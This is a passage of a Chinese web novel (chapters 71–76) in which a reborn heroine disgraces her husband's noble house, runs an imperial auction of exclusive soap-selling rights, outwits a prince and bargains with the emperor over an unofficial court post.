《重生回夫君兼祧两房时,她杀疯了》 第71章 世子之位,换人了 江闻舟大急,“统统站住,不许跑。” 大家跑的比兔子还快,他的人拦不住,只能向尹大人求助。 “尹大人,快帮我拦住他们。” 尹大人迟疑了一下。 云筝眼珠一转,忽然笑眯眯的问道,“尹大人,听说三皇子在养心殿前长跪不起,可有此事?” 尹大人奇怪的看了她一眼,“有。” 出出进进的朝臣都看到了,但没人敢打听原因。 “您可知道原因?” 尹大人拱了拱手,“那我就不清楚了,乡主知道?” 云筝指了指自己,眉眼弯弯,得意洋洋的显摆,“知道呀,我干的。” 尹大人:……!!!好家伙! 算了,惹不起,放他们走吧! 江闻舟眼睁睁的看着曾经对自己毕恭毕敬的奴婢们冷漠离去,却束手无策。 他的脑袋嗡嗡作响,有种天塌了的感觉。 他不敢想象,文武百官知道了会怎么嘲笑平西侯府?勋贵们会怎么想? 父母为什么偏偏选在这个时候出远门?他该怎么办? 云筝欣赏着他痛苦而又绝望的表情,心里别提有多高兴了。 痛吧,痛就对了! 等送走尹大人,江闻舟猛的回头,“云筝,是不是你?” “是啊。”云筝笑容明媚。 这笑容在江闻舟眼里,就是挑衅,不禁怒火中烧。 “为什么?这对你有什么好处?” 云筝笑的更开心了,“就图一个痛快。” 江闻舟明白了,这就是她的报复,“你这个疯子。” 第二日早朝,朝臣们纷纷赶来参加。 等上朝时,大家聚在一起窃窃私语,“平西侯府昨晚的闹剧听说了吗?真是百年难得一遇,笑死人了。” “听说了,我猜到平西侯府没钱,但穷成这样超出我的想象,太丢人了。” “啧啧,平西侯府真的败落喽,可以踢出勋贵圈子了,他们不配。” “子孙不孝啊,祖先棺材板都压不住。” 有些官员还不知情,看着这些偷聊八卦的同僚,很是好奇。 发生了什么事,让他们这么兴奋? 早朝了,皇上高坐在龙椅上,神色淡漠的看了一眼最前面的几个儿子。 都一本正经的模样,看不出一点想法。 一边的大太监喊道,“有事启奏,无事退朝。” 京兆府尹第一个站了出来,“臣有本要奏,昨晚……” 他将昨晚发生的事说了一遍,这是他的职责所在。 一下子炸开了锅,朝臣们都精神了,还有这种事? 三皇子瞪大眼睛,不敢置信,“平西侯府已经落魄到这种地步?” 二皇子惊讶的看着他,“你还不知道?也对,你天天跪养心殿,没精力打探。” 三皇子的脸黑了,哪壶不提,偏提哪壶,可恶。 “江闻舟真没用,这种事情都处理不好。” 他之前还挺看好平西侯府,还想拉拢,现在还有这个利用价值吗? 皇上清咳一声,底下都安静了,他这才开口道,“平西侯上书,请立嫡幼子江闻云为世子,大家有何意见?” 众臣你看看我,我看看你,没有一个站出来。 皇上扬了扬眉,“看来,都没有意见,那就这么定了,等平西侯回来销假后再宣旨。” 等说出这话,一切就尘埃落定了,皇上金口玉立,不可能更改。 等下朝时,几个勋贵结伴同行。 “怎么不帮江闻舟说一句好话?他不是求上门了吗?” “我嫌丢人。” “也是,连管家都管不好,又如何能胜任世子之位?” 简单几句话,就将江闻舟这几日的苦心钻营一笔抹去,彻底断了他的后路。 世子之位,换人了! 江闻舟知道此事后,整个人都崩溃了,把自己关在房间半天,屋内的东西都被砸烂,一片狼藉。 叶宜蓁气急攻心之下,深夜高烧不退,本来有些起色的身体又不行了。 云筝虽然不出门,却让丫环们带着银子和好吃的出去转悠。 一圈下来,侯府任何风吹草动,都一清二楚。 侯府经此一事,仅剩下几十人,要么是无家可归,要么是侯府诸人的亲信心腹。 整个侯府没法运转了,没人洗衣做饭,没人清扫院子,家丁车夫都跑了,全乱了套。 第二次拍卖会如期而至,云筝起的很早,换上一身黑色劲装,外罩红色披风,头发扎成马尾,英姿飒爽。 早餐很丰盛,金丝燕窝粥,牛肉馅饼,鲜肉小笼包,如意花卷,奶香酥卷,鸡汤银丝面。 她每样都尝了尝,吃的心满意足。 “都准备好了吗?出门。” 她身边的人都睡的好,吃的好,一点都不受影响。 千珍阁,此次拍卖会的主场,大堂布置的极为精致。 一张张圆桌摆在大堂,每一张桌上摆了四样瓜果点心。 从全国各地赶来的商贾们围坐在一起交换情报,“这次主持拍卖会的是云家的独女,就没有男人可用?” 一个女子踩在他们头上,他们的自尊心受损了。 当然,拍卖会还是要参加的,这可是官府发出的邀请。 “这差事简单的很,为什么不找一个男子?我儿聪明伶俐,完全能胜任。” 说白了,就是羡慕嫉妒恨。 “我儿子是有名的才子,我相信,只要给他机会,会比云家独女做的更好。“ 几人交换了一个意味深长的眼神,“我们应该联合起来,让那小丫头懂得尊敬长辈,让她明白这不是她该来的地方。” 大家相视而笑,达成了默契。 外面传来喧哗声,“来了,锦云乡主来了。” 一群人簇拥着一个红衣女子走进来,灼灼其华,美的不可方物。 大家都愣住了,这么美,这么年轻? 一个长相富态的商人站出来,眼神挑剔,“你就是云家丫头?我跟你父亲相熟,你父亲怎么没露面?” 云筝淡淡扫了一眼,“家父有事,没空出席。” 她没有行礼,语气也不恭敬,男人心里很不舒服 。 “我也算是你的长辈,听我一句劝,女子应该在家里相夫教子,抛头露面的女子是没有好下场的。” 他以长辈的姿态说教,爹味十足。 这是下马威!也是试探! 云筝扬了扬眉,嘴角扬起一抹轻笑,来而不往非礼也。 “你叫什么?” 熟悉她的人知道,她这么一笑,是要搞事情了,有人要倒大霉了! 第72章 强势辗压全场 富商挺起胸膛,神色骄傲至极,“赣州许氏的家主,你可以叫我一声世伯。” 许氏是赣州的地头蛇,最大的家族之一,连当地官员上任都要先去他家拜访。 云筝对各地的商贾和世家分布了如指掌,各家的情况了然于心,此次参加拍卖会的各家详细资料都记在脑子里。 她纤纤玉手一指,“许家主,这是什么?” 许家主顺着她的手看过去,“呃?牌匾?” 云筝面露得意之色,“对,这三个字如何?” 许家主见她如此得意,以为是她写的,心中鄙夷,头发长见识短,还这么爱出风头。 “像鬼画符,小侄女,你们云家也太不讲究了,怎么不找个好点的人写?我儿子的字不错,让他给你写一个。” 此次参与者被允许带一个人,大家都带了自己的子侄见见世面。 许家主带了他的庶长子,一个骄傲自负的年轻人。 许大公子昂着脑袋,下巴抬的高高的,“世妹,献丑了,拿文房四宝过来,我当场给你写一幅。” 谁知,云筝淡淡瞥了他一眼,轻轻吐出几个字,“竹石客,乃当今圣上的雅号,千珍阁三字是御笔。” 在场的人都惊呆了,齐刷刷的盯着牌匾狂看。 “轰隆隆。”许家主如遭晴天霹雳,眼前一黑,差点晕过去。 他刚才说了什么?说皇上的御笔是鬼画符?! 完了,这脑袋还能保住吗? 许大公子更是吓的魂飞魄散,满头大汗,会不会抄家? 云筝嘴角轻轻上扬,完成一杀! 刚才还看不上她的人都安静了,看云筝的眼神带上了深深的忌惮。 杀人不见血啊,一出手就拿许氏杀鸡儆猴,震慑全场。 这哪是弱不禁风的深闺女子,分明是心狠手辣的老狐狸。 许大公子眼泪都快下来了,“世妹,你怎么能坑我们……” 李嬷嬷眉头一皱,大声喝道,“住口,谁是你的世妹?这是皇上钦封的锦云乡主,还不快见礼。” 众富商神色大变,这是他们故意忽视的事实,只想用长辈的身份压制她。 只要压住了她,话语权就落到他们手里,到时可操作的空间就大了。 但,人家提起来,你敢装不知道? 大家纷纷起身,躬身行礼,“见过锦云乡主。” 云筝淡淡的扫视众人,这不动声色的较量,她占了上风。 “国法在上,礼法在前,不得有下次了,明白?” 她居高临下的语气,尽显乡主的威仪,不服?憋着! 大家心里暗暗叫苦,这位云家女太强势了,云家也不知是怎么教养女儿的?可恶。 但不管心里怎么想,他们都只能憋着,恭恭敬敬的低头,“是是,明白。” 云筝这才摆了摆手,“都起来吧。” 就在此时,一群人走了进来,为首的锦衣公子气宇轩昂,女子美丽秀雅。 “三皇子驾到,江城郡主驾到。” 商贾们的眼睛刷的亮了,这就是三皇子? “见过三皇子,见过江城郡主。” 大家行完礼,就围了过去,对着三皇子大献殷勤,狂拍马屁。 这是他们终其一生都接触不到的皇室中人,高不可攀,却因为一场拍卖会接触到了,这入场券买的太值了。 三皇子也有意拉拢人脉,多搭几条人脉捞钱,夺嫡最不可缺的是银子。 云筝没有上前,跟负责维持秩序的谷雨大人聊了几句。 “九千岁要晚点来?” 谷雨大人客客气气的回道,“是,他有要事要处理,让我跟乡主说一声,有事尽管吩咐我们兄弟。” 这是怕云筝镇不住场子,压不住这些商场上的千年老狐狸。 但现在看来,乡主可不是好惹的,这些老狐狸都得乖乖低头。 云筝微微颌首,“那就麻烦各位了。” 谷雨看着英姿飒爽的女子,眼中闪过一丝笑意,“您客气了,为您办事,兄弟们很乐意。” 无他,就是,跟着她有肉吃! 上次拍卖会的份额,加上这次卖的入场券名额,加起来有百万两银子入帐,大家都能分到一笔钱,都乐疯了。 “户部尚书来了吗?” “没……咦,他来了。” 说曹操,曹操就到。 户部尚书一进来,就被商贾围在中间,热情的打招呼,讨好的话如滔滔江水绵绵不绝。 若是能攀上这位实权高官,这辈子都不用愁了。 但,户部尚书没有心情应酬他们,一双眼睛四处张望,终于看到了一边的云筝。 他挥开人群,大步走过去,“乡主,你这次就不厚道了,怎么能不分给我们户部呢?” 入场券挣了三百万,一半上交国库,一半交给九千岁。 但据云筝所知,九千岁是担了虚名,但私下还得分出大半给皇上,进入皇上私库。 “我又作不了主,您去跟皇上闹呗。” 户部尚书没好气的白了她一眼,他又不是吃了熊心豹子胆,活腻了。 一边的富商们悄悄看着这一幕,内心极为震撼,云筝居然能跟高高在上的户部尚书谈笑风生。 那可是,户部尚书,户部的最高长官,掌管全国的财政和户口,权势滔天,是朝廷重臣。 他们忽然清楚的意识到,云筝不仅仅是商贾之女,还是朝廷的乡主,是有爵位的勋贵。 她已经跨越阶层,成了他们高攀不上的人! 这一刻,不知道有多少人酸了,难受了。 忽然,三皇子大声质问,“云筝,这是云家的产业,怎么把拍卖会的地点设在这里?这算不算以权谋私?你可知罪?” 三皇子这几天不好过,被罚跪养心殿门前,来来往往的官员都能看到,丢人丢大了。 这辈子都没有这么丢脸过! 这就是父皇的惩罚! 这一切拜云筝所赐! 这可把众人吓坏了,纷纷闪到一边,互使眼色。 三皇子跟锦云乡主不对付?锦云乡主真是的,得罪谁不好,非得罪皇子。 那可是皇上的亲生儿子,将来有可能继承皇位的皇子,你不巴着讨好着,怎么能得罪? 看来,勋贵圈子也不好混,商贾之女就算成了乡主,面对真正的权贵时,连个屁都不是。 坐等她倒霉,嘻嘻。 第73章 你倒是砸啊,你是皇子,不要怂 云筝看着三皇子愤怒的眼神,呵呵一笑,活该,还没有学会收敛锋芒啊。“我想,我要,我高兴。” 三皇子:…… 众人:……她疯了吗?怎么敢这么跟皇子说话?不怕被砍头吗? 三皇子冷冷的瞪着云筝,九皇叔不在,没人给云筝撑腰,这么好的机会怎么能错过? “信不信,本皇子这就砸了千珍阁?” 千珍阁,专卖各种奇珍异宝,在京城非常有名。 云筝不但不怕,反而是精神一震,立马叫人拿下牌匾,“来来来,你来砸,快砸。” 她这么反常,三皇子有点慌,“你想干什么?” 云筝笑的可坏了,“只要你敢砸,我就敢告状,到时,店里的所有损失,你赔!我店里就能免费重新装修了,快砸!” 三皇子想到她在父皇面前上眼药,害的他在养心殿门口长跪不起,气恼不已。 但,他毫不怀疑,只要他一砸,她立马抱着牌匾冲向皇宫告状。 别人不敢干的事,她都敢干,偏偏,父皇还很包容她。 他有点怂,但又不甘心就这么放过她,“云筝,今日你必须跟本皇子道歉。” 富商们看的目瞪口呆,你倒是砸啊,你是皇子啊,不要怂! 云筝扬了扬下巴,拽的要命,“理由呢?” 三皇子暗暗磨牙,“我是皇子,你不尊重我。” 云筝一脸的骄傲,“我还是乡主呢,你九皇叔没让我道歉,你父皇也没让我道歉,你凭什么呀?凭你比这两位更有权……” 三皇子脸色大变,脑袋嗡嗡作响,“你闭嘴吧!” 又要害他!她这张嘴太可恶了! 富商们震惊了,到底什么情况? 三皇子气成这样,为什么不当场惩罚她?他到底在顾忌什么? 云筝到底哪来的底气跟皇子硬杠? “扑哧。”江城郡主笑了,这直爽的性子她喜欢,“锦云乡主,我们又见面了。” 她主动岔开话题,拯救了进退两难的三皇子。 云筝微微一笑,没有再继续纠缠,主动释出善意,“江城郡主,你来的正好,我给你准备了一份小礼物。” 这位江城郡主的父母家人全部为国战死,只留她一个孤女,被帝后收养封为郡主。养在深宫。 说白了,她就是皇室施恩的工具人,给所有将士看的。 按理说,她该有一个幸福顺遂的人生,可惜……皇室不做人。 江城郡主受宠若惊,这可是敢跟夫家硬刚,敢跟三皇子对着干的人物。 一个奢华无比的锦盒打开,里面放着小小的四块膏体,浅粉,碧绿,正红,奶白,散发着诱人的香气,还配着不同的美丽图案。 每一块漂亮的像艺术品,让人眼前一亮。 大家的视线都被吸引了,啥好东西?怎么没见过? 江城郡主的眼睛刷的亮了,好漂亮。 她随手拿起一块奶白色的,放到鼻端嗅了嗅,“好香啊,这是什么?” 云筝笑吟吟的指着几块香皂,“是香皂,又是药皂,比胰子更好更清洁,还加入了特别的香气,洗手洗脸洗澡洗头,也可以洗衣服,还能调理皮肤。” 现在民间用草灰洗衣,有点钱的用胰子,而香皂是在这基础上加入了特制的成分,更好用,外形包装都做了最好的搭配。 她主动介绍,“我给每一块起了名,桃夭,翠书,香雪,白岫。” ”桃夭,有养肤美白的功效。”这是牡丹香皂。 “香雪,排浊去油,改善肤质。“这是石榴香皂。 “翠书,有清凉消肿的功效。”这是绿茶香皂。 “白岫,能让肌肤变的白皙嫩滑。”这是山羊奶香皂。 江城郡主爱不释手,“每一块我都喜欢,谢谢。” 富商们的眼睛闪闪发亮,粘在香皂上面,仿佛看到了新的商机。 “乡主,此物是千珍阁的新品吗?” 云筝嘴角轻轻扬起,“是,新研发出来的,欢迎大家踊跃拍卖。” 一听这话,大家面面相觑,敢情,是特意拿出来给他们看的。 江城郡主也明白过来了,但不介意,好东西她第一个得了呀。 云筝做了一个请的手势,“三皇子,江城郡主,尚书大人,我们去包厢吧。” 一行人进了最豪华的包厢,桌上摆满了茶点。 三皇子顾不上吃的,一直盯着香皂看,这比皇宫用的胰子精致名贵多了,还多了各种功效,娘娘们一定喜欢。 这拿来送礼最合适,嗯,他想给后宫娘娘们送一圈,让她们帮着在父皇耳边多说几句好话。 “云筝,我的呢?” 云筝拈起一块点心放嘴里塞,“没有。” “为什么?”三皇子恼了。 他好像忘了刚才针对云筝,理直气壮的索要礼物,皇室的傲慢和矜贵展现的淋漓尽致。 但,云筝记仇呀,“浪费了。” 三皇子气不打一处来,“给我浪费了?云筝,你别太过分了。” 云筝眼珠滴溜溜的转,“这是我家刚研制的新品,三皇子若喜欢,可以买。” 挣他的钱,可以,想占她的便宜,一文钱都不行! 三皇子拿起白岫嗅了嗅,脑海里闪过一个念头,“不就是羊奶吗?这么简单的东西,宫中也能自制,何必跟你买?“ 云筝呵呵一笑,“你是真傻,还是装的?” “这美白皂不光是羊奶,还加了很多东西。” 加入了茯苓,生白术,白芷,白芨等美白中药材,配比反复调整过,这是鬼医给的配方,鬼医出手,必是精品。 三皇子眼中闪过一丝莫名的亮光,“什么东西?” 云筝气笑了,堂堂皇子还耍这种不入流的手段。 “三皇子,你怎么能做到一张口骗别人辛苦研发的秘方?教教我呗,我的脸皮实在不够厚。” “你……”三皇子没想到她这么快就反应过来了,心里很失望。“什么骗?说话这么难听,我就随便问问。” 云筝不再理他,让下人送来清水,“郡主,来,试试。” 江城郡主都舍不得用,好不容易挑了一块白岫洗手,一入水细腻的泡沫化开,室内弥漫着一股淡雅的清香。 手洗的好干净,还滑嫩,好喜欢。 拍卖会开始了,户部尚书先上台简单介绍了流程,台下掌声雷动。 “接下来,有请锦云乡主上台。” 云筝大大方方的走上台,神采飞扬,“各位,我们今日玩点新鲜的花样,不一样的玩法。” 户部尚书眼睛很亮,她可是拍着胸口保证,此次的战绩会让所有人惊掉下巴! 不光艳惊四座,还将开创一个新流派。 好期待! 第74章 激烈角逐,胜出 云筝笑意盈盈的开口,“首先,我谨代表官府和云家,欢迎大家来到京城参加第二期的拍卖会。” 她已经想好了,每年定期举办拍卖会,争取做大做强,做成最有影响力的,让各国的商人闻讯而来参加。 而且,她把官府和云家深度捆绑,只要提起拍卖会,就想起云家。 用官府的信誉给云家背书, 云家不是皇商,也胜似皇商了。 这才不枉她捐了那么多银子。 台下的富商们羡慕的眼睛都红了,云家要更上一层楼了,以后还有哪家是云家的对手? 背靠着官府,大齐首富的宝座彻底坐实。 云家有女如此,夫复何求,比用来联姻强多了。 再看看精心培养的儿子,哎,忍不住叹气,比不过,比不过啊。 云筝很快进入正题,“我来介绍第一份拍卖品,这一套香皂礼盒,我取名为风花雪月,用几十种珍贵药材和香料,多年精心调制,才调出了这四款香皂。” “既为清洁的香皂,又是调理肌肤的药皂,不用不知道,用了满心欢喜,保管用了还想再用。” 这本身就是走奢侈路线,迎合有钱人的心态,做了最奢华的包装,最精美的图案,再加上让人怦然心动的功效和唯美名字,格调立马上去了。 她滔滔不绝的介绍产品,几大卖点,牢牢吸引了无数人的目光。 有人再也忍不住问道,“这一套卖多少银子?” 云筝笑眯眯的回答,“一套一百两。” 这价格一出,大家不约而同的松了一口气,比想象中要便宜。 像那种琉璃杯,价值千金,还买不到呢。 这是消耗品,洗头洗脸洗澡,用的很快,有钱人家的奢侈是常人无法想象的。 一名盐商大声说道,“这还需要拍卖吗?直接定购呗。” 这也不算稀奇,值得他们专程跑一趟,花上万的入场券吗? 盐商最不缺的就是钱,花钱如流水,奢侈到了极致,不买对的,只买贵的。 云筝微微一笑,语出惊人,“我今日不卖香皂,而是拍卖各地区的独家经营权。” 所有人的耳朵竖了起来,独家经营这四个字的吸引力太大了。 不管什么生意,只要独家经营都是稳赚的。 “按照两京十三省的划分,我将独家经营权分成十五份,先拍卖京畿地区的独家经营权,我只卖给一个人,允许他独家经营,别人想要买,就去他那边进货,价格自己定。” 富商们听懂了,也激动了,好家伙,这方式确实别开生面。 独家经营权还是第一次听说,细细想想,能挣大钱! “这独家经营权是多少年?有保障吗?” 云筝早就想好了,“四年为期,官府背书,就是说,朝廷会保障你们的合法权益。” 她说的隐晦,但大家都懂了,就是等于给朝廷交了保护费。 其实经商不易,不光是费尽心思做生意,还要结交各路权贵,要给当地官员搞好关系。 这海量的钱花出去,才能保住自己的身家和财产安全。 大家的眼睛更火热了,这等于是给开了一条直达天听的通道,花再多的钱都是值得的。 “确定吗?” 云筝看向包厢方向,扬声道,“尚书大人,您来说一句。” 户部尚书站在窗边,神色严肃,“本官保证,会保障你们的合法权益,这一条会写到契书里。” 听到这话,大家都放心了,相视一眼,眼中全是志在必得的熊熊野心。 这钱拿来搞关系,攀人脉,不如直接一步到位,交给朝廷,换来朝廷的保护。 大富商盘算着能买下几个地区的独家经营权,实力稍逊的就纷纷结盟,争取一起拿下,一起挣钱。 每个人都打着小算盘。 云筝心里很满意,三百人抢十五个名额,一定会很激烈。 “起拍价,十万两银子,最低加价为1万两,开始吧。” 第一个商人举手示意,“我出十二万。” “十五万。” “二十万。” …… 京畿地区向来商家必争,有钱人最多,权贵最多,消费能力更高。 所以,为了京畿地区的独家经营权几乎抢破了脑袋,现场的气氛激烈到了极点,到了白热化的程度。 “一百万,一百万,还有吗?” “ 一百零五万。“ 云筝笑吟吟的问,“还有吗?这样的机会只有一次,机不再来,不进则退,会被别人替代。” “商场如战场,失了一局,以后再追就难了。” 她太会烘托气氛,一句句的说到大家的心里去。 最后,价格定格在了205万。 云筝一锤定音,将首个独家营权卖了出去。 这价格出乎她的意料,但转头一想,他们买的不仅仅是独家经营权,还是直通御前的一个机会,不用被地方官府和权贵层层盘剥,值! 包厢内,三皇子的眼睛都直了,内心受到了极大的震撼,“天啊,这些人疯了吗?这么贵,能挣回来吗?” 江城郡主围观了整个过程,热血沸腾,“商人又不傻,亏本生意肯定不会做的。” 两人都不懂经商,齐刷刷看向另一个人,“尚书大人,您说呢?” 尚书大人怔怔的看着高台上闪闪发光的女子,“如果没有意外,大半年就能赚回来,以后就是纯赚。” 三皇子猛的回头,看云筝的眼神都不一样了,这是财神娘娘啊。 早知道,就该跟她搞好关系了,现在还来得及吗? 想到之前的冲突,三皇子的心一沉,估计来不及了,她太记仇,他也不愿意低三下四的讨好,他是皇子! 尚书大人感慨不已,“锦云乡主是百年难得一遇的经商奇才,惊才绝艳,她太厉害了,老夫甘拜下风。” 三皇子眉头紧皱,“尚书大人言重了,自古以来商贾是小道,哪及得上您掌管全国财政的辛苦和本事。” 户部尚书只是摇头叹息,他不懂,独家经营权拍卖才是最让人惊艳的,这将开启一个全新的时代。 以后,官府可以鉴戒,全盘抄作业,只要运营的好,全国的赋税能翻几倍,国库立马能丰盈起来。 看似简单,却是将君王隐晦的心思,朝廷信誉,人情世故,商道和官场潜规则等诸多因素巧妙结合起来,才有了这一出。 “她为什么是女儿身?哎。” 如果是男儿,他一定会抢来户部当差。 可惜她是女儿身,以皇上保守的态度,是绝对不会破例的。 三皇子酸溜溜的开口,“再能干也只是女儿身,只能为他人做嫁衣,注定走不到台前。” 此时的他根本想不到,一个时辰后就惨遭打脸! 脸疼,巨疼! 第75章 打脸,疼,剧疼 三皇子嘴上还在说酸话,但,随着云筝谈笑之间拍卖出多个独家经营权后,整个人都麻木了。 就算其他省份的独家经营权价格远没有京畿地区高,但加在一起,是一个可怕的天文数字。 他在心里算了一下,极为震撼,好想要! 有了这一笔钱,他能收买很多官员,能养一支军队了,夺嫡易如反掌。 不行,得想想办法,能不能从中捞点好处。 “户部尚书,这次拍卖的银子是怎么分的?” 户部尚书淡淡的道,“四四二,户部,九千岁,锦云乡主。” 三皇子沉默了,只说了一句,“九皇叔的运道真好。” 其实,大家都心知肚明,厉无恙只是白担虚名,这大部分的银子是流向皇上的私库。 国库的钱也不能动,云筝到手的二成倒是可以想想办法。 江城郡主微微蹙眉,不动声色的看了他一眼。 皇室的男人啊,薄情又寡恩。 另一边,云筝又开启了新的一轮竞拍。 “接下来,有两个版本的香皂,配方不一样,吉祥如意版本,是一盒十两银子。” “福气满满版本,是单卖的,一块一两银子。” “这两个版本是捆绑一起的,老规矩,京畿地区起拍价十万两,最低起拍一万两,开始。” 户部尚书猛的坐直身体,眼神震惊。 她居然还有这么一手,三个版本将所有的消费群体一网打尽,垄断了这个行业。 最关键的是,她故意将三个版本拆成两部分,将平衡术玩到极致,平衡各方势力,防止一家独大。 这哪是商道?分明是官道。 一边的三皇子还在冷嘲热讽,“呵呵,她居然还想拆开来卖,把人家当傻子啊,谁拍谁傻。” 三皇子的话音刚落,就有人迫不及待的喊道,“二十万。” “三十万。” 刚才没拍到懊恼万分的人,眼见又有了新的机会,疯狂的叫价,大有孤注一掷的疯狂。 竞价交替上来,气氛无比火热。 三皇子的脸涨的通红,喃喃自语,“钱多人傻,脑子不清楚,都是傻子。” 他绝不承认,自己的判断有问题。 更不愿意承认,他没有云筝聪明能干。 江城郡主不停的低头喝茶,将嘴角的笑意压了下去。 瞧瞧,男人可笑的自尊心,就是不肯承认竟然有女人比他们优秀。 京畿地区居然拍到了230万,比之前的还高,三皇子彻底沉默了,一脸的怀疑人生。 看不懂,真的不理解。 新一轮下来,挣到了天文数字,光是进入国库的银子,就已经是一年的赋税。 中场休息,云筝累了上来休息,受到了户部尚书和江城郡主的热烈欢迎。 江城郡主眼睛闪闪闪发亮,将一个果子递给她,“锦云乡主,你怎么想出这么好的办法?” 云筝感受到了她的善意,接过果子啃了一口,“没事瞎琢磨的,叫我云筝,或者阿筝吧。” 江城郡主笑容一下子灿烂起来,“好啊,阿筝,你叫我阿妩吧。” 江城郡主,姓江,名清妩。 两人相谈甚欢,三皇子在一边看着,眼珠咕噜噜转。 他忽然开口道,“锦云,为什么不让我来向大家保证,我是三皇子,说的话比官员管用。” 云筝直接怼了一句,“你想收买人心?皇上看着呢,老实点。” 三皇子:…… 一想到父皇冷冷的眼神,他心里一紧,但,庞大的财富就在眼前,又有几个人能不眼红? “父皇让我跟你学习,要不,你帮我找一条发财之路?” 云筝头都没抬,“不干。” 三皇子多了一丝耐心,软语哄道,“我可以帮你在父皇面前说好话。” 云筝猛的抬头,一脸的惊吓,“你别害我。” 三皇子眉头皱了起来,“什么意思?” 云筝义正言辞的说道,“你是皇子,就不该结交外臣和富商,我是首富独女,就该离你们这些皇子远远的,不站队,不投诚。” “我们云家只忠于当今圣上,我只给圣上和九千岁挣钱,别人想都别想。” 她大表忠心,但,这忠心不是给三皇子的,三皇子恼羞成怒,“呵呵,云筝,我劝你考虑清楚,机会只有一次,稍纵即逝。” 云筝毫不示弱,“你威胁我?就算你杀了我,我也不会改变主意。” “皇上对我委以重任,破例将这么重要的事情交给我做,如此信任,我岂能辜负君王?” “我虽是女子,但,也是念过书的,报君黄金台上意,提携玉龙为君死,我亦如此。”注(1) 她掷地有声,正气凛然,听的人热血沸腾。 隔壁的门被猛的推开,一道清喝声猛的响起,“说的好。” 三皇子猛的抬头,入眼的是熟悉的身影,他吓白了脸,双腿一软跪了下去,“父皇。” 天啊,父皇怎么出宫了?一点风声都没有传出来。 他在隔壁房间听到了多少?要命! 屋内诸人都很惊讶,齐齐起身行礼,“参见皇上。” 皇上亲自上前扶起云筝,夸道,“锦云,你不错,忠心耿耿实属难得。” 大把的银子即将流入私库和国库,他的心情特别好。 云筝一脸的恭敬,“皇上仁厚,一再包容臣女的任性妄为,还给了臣女这样的机会,臣女感激涕零,您是臣女唯一愿意效忠的君王。” 皇上嘴角疯狂上扬,心里舒坦极了,他就喜欢这种纯臣,只效忠于他一人。 “唯一效忠?那,他呢?” 他指向身后坐轮椅的厉无恙,云筝顺着手看过去,撞入一双深不见底的黑眸。 她微微一笑,大大方方的盈盈一福,“九千岁对我来说意义非凡,在我最绝望的时候,他伸出了援手,他是我的恩人,这一份恩情我会记一辈子。” 她巧妙化解了皇上的猜忌之心,又哄了厉无恙,厉无恙眼中闪过一丝笑意,机灵鬼。 皇上又发现了她一个优点,懂得感恩。 谁知,云筝忽然来了一句,“而将来,他也会是我的收尸人。” 这话一出,气氛一下子变了。 厉无恙蹙眉轻斥, “胡说什么。” 云筝委委屈屈的开口,“人总要死的,我这性子不好,尽得罪人,刚才就得罪了三皇子,要是有一天……哎。” 皇上冷冷的看了三皇子一眼,混账东西,他还没死呢,就这么急着招揽人心。 三皇子脸都绿了,又上眼药。 而且是用这种奇葩的办法上眼药,踏马的有病! 还让不让人活了? “父皇,刚才只是说笑,我怎么可能冲锦云乡主下手?” 皇上神色严肃,“若她有事,朕只找你算帐。” “父皇。”三皇子欲哭无泪,她这张嘴尽得罪人,太遭人恨,出事是迟早的事,怎么能怪他? 皇上转头露出温煦的笑,“锦云,你愿不愿意给内务府总管大臣当副手?” 全场皆惊,啥?没听错吧? 三皇子最震惊,“父皇!” 第76章 没有感情,只有八百个心眼子 要知道,这些年皇上一直极力打压女子,很排斥女子抛头露面,可以说女子的地位倒退了二十年。 这么一个人怎么可能打破自己的原则,让一个女子当官? 规则是不能轻易打破的,有了第一个就会有第二个。 云筝面露喜色,美滋滋的问道,“皇上,您是让我当内务府副总管吗?” 皇上呆了呆,她真敢想,内务府总管是正三品,副总管是正四品,都是高官。 他婉转的表示,“朕的意思是,当副手,辅佐总管大臣打理内务府。” 云筝在心里冷笑一声,什么辅佐,说的好听是副手,其实是连正式官职都没有的副手,那就是打杂的! 拼命给皇上挣钱,好处全是别人的,责任全是她的。 这不是有病吗? 她看上去有那么傻吗? 江城郡主暗暗替她惋惜,要被皇室没名没份压榨了。 谁知,云筝就是不点头,而是睁着一双震惊万分的眼睛,好像皇上是个哄骗小姑娘的大骗子。 纵然皇上心硬如铁,也有点心虚,确实有点糊弄,但没办法,他不可能破例让她当女官。 “就算你没有官职,也有相应的权力,除了内务府总管,其他人都听你的,官职只是一个虚名。” 这种话骗骗别人就算了,云筝是何等聪明的人,一个字都不信。 凡事都要师出有名,你名不正言不顺,受了委屈,都没地方哭。 “多谢皇上抬爱,但我这个人霸道任性,更喜欢自由自在的。” 她一边拒绝,一边小嘴扁扁的,受了天大的委屈模样。 皇上默了默,不好骗啊。“朕可以再给你写一幅字。” 云筝拿起点心狠狠咬了一口,像是泄愤,“不用了,又不能拿着字到处溜达。” 她心里跟明镜似的,但凡她妥协了,以后就只能任由别人白嫖,当她是挣钱的工具,不会说她一声好,也没有任何好处。 在场的人震惊不已,她是第一个敢拒绝的人。 但,更让人震惊的是,皇上居然不生气,还随手摘下腰间的龙形紫玉佩,“送你了。” 他算是看出来了,这丫头是不肯吃亏的性子,一点亏都不行。 让她白干活,做梦! 三皇子的眼睛都直了,嘴唇动了动。 这是他求了父皇很久,父皇都不愿意给他的玉佩,居然就这么赏给了云筝。 啊啊啊,父皇偏心! 云筝大大方方的接过,看了几眼,脸上终于露出一点笑容,这玩意能震慑绝大部分的人了。 “谢皇上恩赏,我受之无愧,这是我该得的。毕竟,这两场拍卖会挣的钱足以丰盈国库。我为国家出力,我骄傲。” 长着嘴就是说的,她替自己表功! 皇上嘴角抽了抽,她是一点都不谦虚,这性情一言难尽。 不过,他亲眼见证了整个拍卖过程,深深的意识到云筝厉害之处。 上次是无本买卖,显不出她真实的水平,但,这一次是实打实的战绩。 凭一己之力,将国库和他的私库填满了,而且,仅仅用了半个月时间。 这样的经商天赋,这么能干的小祖宗,骗不了,那只能哄着。 “这副手……” 云筝直接打断道,“没名没份的事不能干,我这脾气不能受一点委屈,哪天一不小心砸破顶头上司的脑袋,谁负责?” 皇上:…… 众人:…… 还别说,这真是她能干出来的事。 这不行啊,皇上还指望着她给自己的私库挣钱,“你想要什么?” 云筝眼珠滴溜溜的转,“我想想,我啥都不缺,啊,对了,和……” 不等她说完,皇上抢先说道,“和离不行,这规矩不能破!” 但也不好寒了功臣的心,“要不,让皇后出面说和,让江闻舟跟你好好过日子,至于叶氏,给她修个家庙,让她住进去带发修行,不许出来。” 他够损,也够狠的。 云筝强忍着翻白眼的冲动,哼,总有一天,她要将这狗屁规矩砸个稀巴烂。 